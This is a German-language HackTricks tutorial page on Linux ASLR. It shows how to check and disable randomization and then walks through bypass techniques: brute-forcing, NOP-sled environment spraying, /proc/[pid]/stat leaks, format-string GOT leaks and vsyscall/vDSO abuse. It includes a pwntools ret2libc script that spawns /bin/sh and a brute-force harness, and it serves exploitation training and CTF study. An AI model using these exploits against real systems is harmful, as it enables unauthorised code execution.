ASLR

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundinformationen

Address Space Layout Randomization (ASLR) ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die Speicheradressen zu randomisieren, die von System- und Anwendungsprozessen verwendet werden. Dadurch wird es für einen Angreifer erheblich schwieriger, den Standort bestimmter Prozesse und Daten, wie den Stack, Heap und Bibliotheken, vorherzusagen, was bestimmte Arten von Exploits, insbesondere Pufferüberläufe, abschwächt.

Überprüfung des ASLR-Status

Um den ASLR-Status auf einem Linux-System zu überprüfen, können Sie den Wert aus der /proc/sys/kernel/randomize_va_space-Datei lesen. Der in dieser Datei gespeicherte Wert bestimmt die Art des angewendeten ASLR:

  • 0: Keine Randomisierung. Alles ist statisch.
  • 1: Konservative Randomisierung. Gemeinsame Bibliotheken, Stack, mmap(), VDSO-Seite sind randomisiert.
  • 2: Vollständige Randomisierung. Zusätzlich zu den durch konservative Randomisierung randomisierten Elementen wird der durch brk() verwaltete Speicher randomisiert.

Sie können den ASLR-Status mit dem folgenden Befehl überprüfen:

bash
cat /proc/sys/kernel/randomize_va_space

Deaktivierung von ASLR

Um ASLR zu deaktivieren, setzen Sie den Wert von /proc/sys/kernel/randomize_va_space auf 0. Die Deaktivierung von ASLR wird außerhalb von Test- oder Debugging-Szenarien im Allgemeinen nicht empfohlen. So können Sie es deaktivieren:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Sie können ASLR auch für eine Ausführung mit deaktivieren:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Aktivierung von ASLR

Um ASLR zu aktivieren, können Sie den Wert 2 in die Datei /proc/sys/kernel/randomize_va_space schreiben. Dies erfordert typischerweise Root-Rechte. Die vollständige Randomisierung kann mit dem folgenden Befehl durchgeführt werden:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistenz über Neustarts hinweg

Änderungen, die mit den echo-Befehlen vorgenommen werden, sind vorübergehend und werden beim Neustart zurückgesetzt. Um die Änderung dauerhaft zu machen, müssen Sie die Datei /etc/sysctl.conf bearbeiten und die folgende Zeile hinzufügen oder ändern:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Nach der Bearbeitung von /etc/sysctl.conf wenden Sie die Änderungen mit an:

bash
sudo sysctl -p

Dies stellt sicher, dass Ihre ASLR-Einstellungen über Neustarts hinweg bestehen bleiben.

Umgehungen

32-Bit-Brute-Forcing

PaX unterteilt den Adressraum des Prozesses in 3 Gruppen:

  • Code und Daten (initialisiert und nicht initialisiert): .text, .data und .bss —> 16 Bits Entropie in der delta_exec-Variablen. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen addiert.
  • Speicher, der von mmap() zugewiesen wird, und gemeinsame Bibliotheken —> 16 Bits, genannt delta_mmap.
  • Der Stack —> 24 Bits, bezeichnet als delta_stack. Es verwendet jedoch effektiv 11 Bits (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf 16 Bytes —> Dies ergibt 524.288 mögliche reale Stack-Adressen.

Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige Entropie ermöglicht es, ASLR durch wiederholtes Ausführen zu umgehen, bis der Exploit erfolgreich abgeschlossen ist.

Brute-Force-Ideen:

  • Wenn Sie einen großen Überlauf haben, um einen großen NOP-Sled vor dem Shellcode zu hosten, könnten Sie einfach Adressen im Stack brute-forcen, bis der Fluss über einen Teil des NOP-Sled springt.
  • Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Exploit lokal ausgeführt werden kann, ist es, den NOP-Sled und den Shellcode in einer Umgebungsvariablen hinzuzufügen.
  • Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc brute-forcen (nützlich für 32-Bit-Systeme):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der libc-Funktion usleep zu brute-forcen, indem Sie als Argument 10 übergeben (zum Beispiel). Wenn der Server irgendwann 10 Sekunden länger für die Antwort benötigt, haben Sie die Adresse dieser Funktion gefunden.

tip

In 64-Bit-Systemen ist die Entropie viel höher und das sollte nicht möglich sein.

64-Bit-Stack-Brute-Forcing

Es ist möglich, einen großen Teil des Stacks mit Umgebungsvariablen zu belegen und dann zu versuchen, die Binärdatei hunderte oder tausende Male lokal auszunutzen.
Der folgende Code zeigt, wie es möglich ist, einfach eine Adresse im Stack auszuwählen und bei einigen hundert Ausführungen wird diese Adresse den NOP-Befehl enthalten:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Lokale Informationen (/proc/[pid]/stat)

Die Datei /proc/[pid]/stat eines Prozesses ist immer für alle lesbar und enthält interessante Informationen wie:

  • startcode & endcode: Adressen oberhalb und unterhalb des TEXT der Binärdatei
  • startstack: Die Adresse des Beginns des Stacks
  • start_data & end_data: Adressen oberhalb und unterhalb, wo sich der BSS befindet
  • kstkesp & kstkeip: Aktuelle ESP- und EIP-Adressen
  • arg_start & arg_end: Adressen oberhalb und unterhalb, wo sich die CLI-Argumente befinden.
  • env_start & env_end: Adressen oberhalb und unterhalb, wo sich die Umgebungsvariablen befinden.

Daher, wenn der Angreifer sich auf demselben Computer wie die auszunutzende Binärdatei befindet und diese Binärdatei nicht mit einem Überlauf von rohen Argumenten rechnet, sondern mit einem anderen Eingang, der nach dem Lesen dieser Datei erstellt werden kann. Ist es möglich für einen Angreifer, einige Adressen aus dieser Datei zu erhalten und von ihnen Offsets für den Exploit zu konstruieren.

tip

Für weitere Informationen zu dieser Datei siehe https://man7.org/linux/man-pages/man5/proc.5.html und suche nach /proc/pid/stat

Einen Leak haben

  • Die Herausforderung besteht darin, einen Leak zu geben

Wenn dir ein Leak gegeben wird (einfache CTF-Herausforderungen), kannst du Offsets daraus berechnen (angenommen, du kennst zum Beispiel die genaue libc-Version, die im System verwendet wird, das du ausnutzt). Dieses Beispiel-Exploit stammt aus dem Beispiel hier (siehe diese Seite für weitere Details):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Durch den Missbrauch eines Bufferüberlaufs wäre es möglich, ein ret2plt auszunutzen, um eine Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:

Ret2plt

  • Format Strings Arbitrary Read

Genau wie bei ret2plt, wenn Sie über eine Format-Strings-Sicherheitsanfälligkeit einen beliebigen Lesezugriff haben, ist es möglich, die Adresse einer libc-Funktion aus der GOT zu exfiltrieren. Das folgende Beispiel stammt von hier:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Du kannst mehr Informationen über Format Strings und arbiträres Lesen finden in:

Format Strings

Ret2ret & Ret2pop

Versuche, ASLR zu umgehen, indem du Adressen im Stack ausnutzt:

Ret2ret & Reo2pop

vsyscall

Der vsyscall-Mechanismus dient zur Leistungssteigerung, indem bestimmte Systemaufrufe im Benutzerspeicher ausgeführt werden, obwohl sie grundsätzlich Teil des Kernels sind. Der entscheidende Vorteil von vsyscalls liegt in ihren festen Adressen, die nicht der ASLR (Address Space Layout Randomization) unterliegen. Diese feste Natur bedeutet, dass Angreifer keine Informationsleckanfälligkeit benötigen, um ihre Adressen zu bestimmen und sie in einem Exploit zu verwenden.
Allerdings werden hier keine besonders interessanten Gadgets gefunden (obwohl es beispielsweise möglich ist, ein ret;-Äquivalent zu erhalten).

(Das folgende Beispiel und der Code sind aus diesem Bericht)

Ein Angreifer könnte beispielsweise die Adresse 0xffffffffff600800 innerhalb eines Exploits verwenden. Während der Versuch, direkt zu einer ret-Anweisung zu springen, nach der Ausführung einiger Gadgets zu Instabilität oder Abstürzen führen kann, kann das Springen zum Anfang eines syscall, das von der vsyscall-Sektion bereitgestellt wird, erfolgreich sein. Durch das sorgfältige Platzieren eines ROP-Gadgets, das die Ausführung zu dieser vsyscall-Adresse führt, kann ein Angreifer die Codeausführung erreichen, ohne ASLR für diesen Teil des Exploits umgehen zu müssen.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Beachten Sie daher, wie es möglich sein könnte, ASLR durch Ausnutzung des vdso zu umgehen, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird. Für weitere Informationen siehe:

Ret2vDSO

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks